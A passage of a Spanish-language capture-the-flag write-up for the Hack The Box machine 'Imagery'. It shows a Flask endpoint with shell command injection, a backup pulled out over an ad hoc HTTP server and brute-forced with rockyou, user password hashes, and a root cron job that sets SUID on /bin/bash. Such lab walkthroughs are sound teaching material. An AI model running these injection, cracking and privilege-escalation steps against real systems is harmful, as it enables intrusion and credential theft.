        return jsonify({'success': False, 'message': 'Image file not found on server.'}), 404
    try:
        command = [EXIFTOOL_PATH, '-all=', '-overwrite_original', filepath]
        subprocess.run(command, capture_output=True, text=True, check=True)
        _save_data(application_data)
        return jsonify({'success': True, 'message': 'Metadata deleted successfully from image!'}), 200
    except subprocess.CalledProcessError as e:
        return jsonify({'success': False, 'message': f'Failed to delete metadata: {e.stderr.strip()}'}), 500
    except Exception as e:
        return jsonify({'success': False, 'message': f'An unexpected error occurred during metadata deletion: {str(e)}'}), 500
```

Leyendo el código podemos ver la función que empleamos:

```python
if transform_type == 'crop':
            x = str(params.get('x'))
            y = str(params.get('y'))
            width = str(params.get('width'))
            height = str(params.get('height'))
            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
```

Vemos que recoge nuestros parámetros `x,y,width,heaight` y luego usa `imagemagick` para cambiar el tamaño y luego ejecuta el comando. No vemos ningún tipo de sanitizacion. Así que vamos a probar a colar un `ping` :

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FQUIN1cYR3uwDlIL0Z78j%2Fimage.png?alt=media&#x26;token=cc7606ce-6431-4b30-8ff0-0f55f7b14d73" alt=""><figcaption></figcaption></figure>

Vemos que funcionó!! Vamos a darnos una reverse shell:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FTBvExtJEYe3cLZu7h8iJ%2Fimage.png?alt=media&#x26;token=bfa2c9e8-c190-4459-a41a-f8202e0f06e6" alt=""><figcaption></figcaption></figure>

Estamos dentro!!

## Shell as mark

Si leemos el `/etc/passwd` veremos que existe otro usuario:

```bash
web@Imagery:~/web$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
mark:x:1002:1002::/home/mark:/bin/bash
```

Vamos a enumerar el sistema. Para ello emplee [Linpeas](https://github.com/peass-ng/PEASS-ng/releases/download/20250904-4f33e9d0/linpeas.sh). Una vez finalizado el escaneo me llamo la atención lo siguiente:

```bash
drwxr-xr-x 2 root root 4096 Sep 22 18:56 /var/backup
total 22516
-rw-rw-r-- 1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes
```

Vemos que en el directorio `/var/backup` hay un backup en `.aes` :

> AES o Advanced Encryption Standard es un método de cifrado simétrico de bloques que protege la confidencialidad de los datos.

Vamos a bajarnos este archivo a nuestra máquina:

*Maquina victima:*

```bash
web_20250806_120723.zip.aes
web@Imagery:/var/backup$ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (<http://0.0.0.0:9090/>) ...
```

*Kali:*

```bash
┌──(pylon㉿kali)-[10.10.15.106]-[~/…/pylon/HTB/Imagery/nmap]
└─$ wget 10.129.55.34:9090/web_20250806_120723.zip.aes 
Prepended http:// to '10.129.55.34:9090/web_20250806_120723.zip.aes'
--2025-09-28 12:53:10--  <http://10.129.55.34:9090/web_20250806_120723.zip.aes>
Connecting to 10.129.55.34:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23054471 (22M) [application/octet-stream]
Saving to: ‘web_20250806_120723.zip.aes’

web_20250806_120723.zip.aes                   100%[=================================================================================================>]  21.99M  9.70MB/s    in 2.3s    

2025-09-28 12:53:12 (9.70 MB/s) - ‘web_20250806_120723.zip.aes’ saved [23054471/23054471]
```

Buscando maneras de desencriptarlo encontré el siguiente repositorio:

{% embed url="<https://github.com/Nabeelcn25/dpyAesCrypt.py>" %}

Vamos a probarlo pasándole el `rockyou.txt` y el archivo comprimido encriptado:

```bash
┌──(venv)─(pylon㉿kali)-[10.10.15.106]-[~/…/HTB/Imagery/nmap/dpyAesCrypt.py]
└─$ python3 dpyAesCrypt.py ../web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt

[🔐] dpyAesCrypt.py – pyAesCrypt Brute Forcer

[🔎] Starting brute-force with 10 threads...
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.00% | ETA: 00:00:00 | Tried 0/14344392/home/pylon/Desktop/pylon/HTB/Imagery/nmap/dpyAesCrypt.py/dpyAesCrypt.py:42: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
  pyAesCrypt.decryptStream(fIn, fOut, password.strip(), buffer_size, os.path.getsize(encrypted_file))
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.01% | ETA: 18:46:50 | Tried 1313/14344392

[✅] Password found: bestfriends
🔓 Decrypt the file now? (y/n):
```

Encontró la contraseña!! Vamos a indicar que lo desencripte:

```bash
🔓 Decrypt the file now? (y/n): y
/home/pylon/Desktop/pylon/HTB/Imagery/nmap/dpyAesCrypt.py/dpyAesCrypt.py:142: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
  pyAesCrypt.decryptStream(fIn, fOut, cracked_pw, args.buffer, os.path.getsize(args.file))
[📁] File decrypted successfully as: web_20250806_120723.zip
                                                                                                                                                                                        
┌──(venv)─(pylon㉿kali)-[10.10.15.106]-[~/…/HTB/Imagery/nmap/dpyAesCrypt.py]
└─$ ls
dpyAesCrypt.py  LICENSE  README.md  venv web_20250806_120723.zip
```

Vemos que ya nos da el `.zip` normal, vamos a descomprimirlo:

```bash
┌──(venv)─(pylon㉿kali)-[10.10.15.106]-[~/…/HTB/Imagery/nmap/dpyAesCrypt.py]
└─$ ls
dpyAesCrypt.py  LICENSE  README.md  venv  web  web_20250806_120723.zip
```

Nos crea el directorio `web` , vamos a entrar y ver que hay:

```bash
┌──(venv)─(pylon㉿kali)-[10.10.15.106]-[~/…/Imagery/nmap/dpyAesCrypt.py/web]
└─$ ls
api_admin.py  api_auth.py  api_edit.py  api_manage.py  api_misc.py  api_upload.py  app.py  config.py  db.json  env  __pycache__  system_logs  templates  utils.py
```

Vamos a revisar el `db.json` :

```json
{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "displayId": "f8p10uw0",
            "isTestuser": false,
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "displayId": "8utz23o5",
            "isTestuser": true,
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "mark@imagery.htb",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },
        {
            "username": "web@imagery.htb",
            "password": "84e3c804cf1fa14306f26f9f3da177e0",
            "displayId": "7be291d4",
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],
    "images": [],
    "bug_reports": [],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ]
} 
```

Vemos el hash del usuario `mark` , vamos a crackearlo con [Crackstation](https://crackstation.net/):

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FKsU5n0OQAT5n82T5xxSJ%2Fimage.png?alt=media&#x26;token=0df5e09d-45e1-4774-92ca-bf56fdcacf4d" alt=""><figcaption></figcaption></figure>

Tenemos su contraseña, vamos a pasarnos al usuario `mark` :

```bash
web@Imagery:/var/backup$ su mark
Password: 
mark@Imagery:/var/backup$ 
```

## Shell as root

Vamos a ver los permisos `SUDOERS`:

```bash
mark@Imagery:/var/backup$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol
```

Podemos usar como cualquier usuario sin necesidad de contraseña el binario `charcol` , vamos a ejecutarlo como root y ver su panel de ayuda:

```bash
mark@Imagery:/var/backup$ sudo -u root /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system password verification).
```

Vemos que podemos obtener una `shell` interactiva, vamos a probarla:

```bash
mark@Imagery:/var/backup$ sudo -u root /usr/local/bin/charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password): 
```

Vemos que nos pide contraseña y no tenemos ninguna. Si vemos el panel de ayuda tenemos el parámetro `-R` para reiniciar la contraseña, vamos a probar:

```bash
mark@Imagery:/var/backup$ sudo -u root /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2025-09-28 11:05:43] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 

[2025-09-28 11:06:17] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
```

Nos comenta que ahora se a restablecido y ahora no requiere contraseña vamos a probar:

```bash
mark@Imagery:/var/backup$ sudo -u root /usr/local/bin/charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 
Are you sure you want to use 'no password' mode? (yes/no): yes
[2025-09-28 11:06:45] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:/var/backup$ sudo -u root /usr/local/bin/charcol shell

  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0

[2025-09-28 11:06:50] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> 
```

Estamos dentro, vamos a poner `help` :

Veremos muchas opciones pero la que más destaca es la siguiente:

```bash
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
```

Podemos añadir una tarea cron, como estamos como root podremos darle suid a la `/bin/bash` , vamos a probar:

```bash
charcol> auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "suid_bash"
[2025-09-28 11:08:41] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 

[2025-09-28 11:08:47] [INFO] System password verified successfully.
[2025-09-28 11:08:47] [INFO] Auto job 'suid_bash' (ID: c2163882-c7af-44a3-a09b-d603aaefa034) added successfully. The job will run according to schedule.
[2025-09-28 11:08:47] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod u+s /bin/bash
```

Vamos a salir de esa shell y vamos a ver si a funcionado:

```bash
mark@Imagery:/var/backup$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1474768 Oct 26  2024 /bin/bash
```

Tiene SUID!! Ahora con `bash -p` podremos lanzar una bash con el privilegio más alto y ser root:

```bash
mark@Imagery:/var/backup$ bash -p
bash-5.2# whoami
root
```

root! ;)
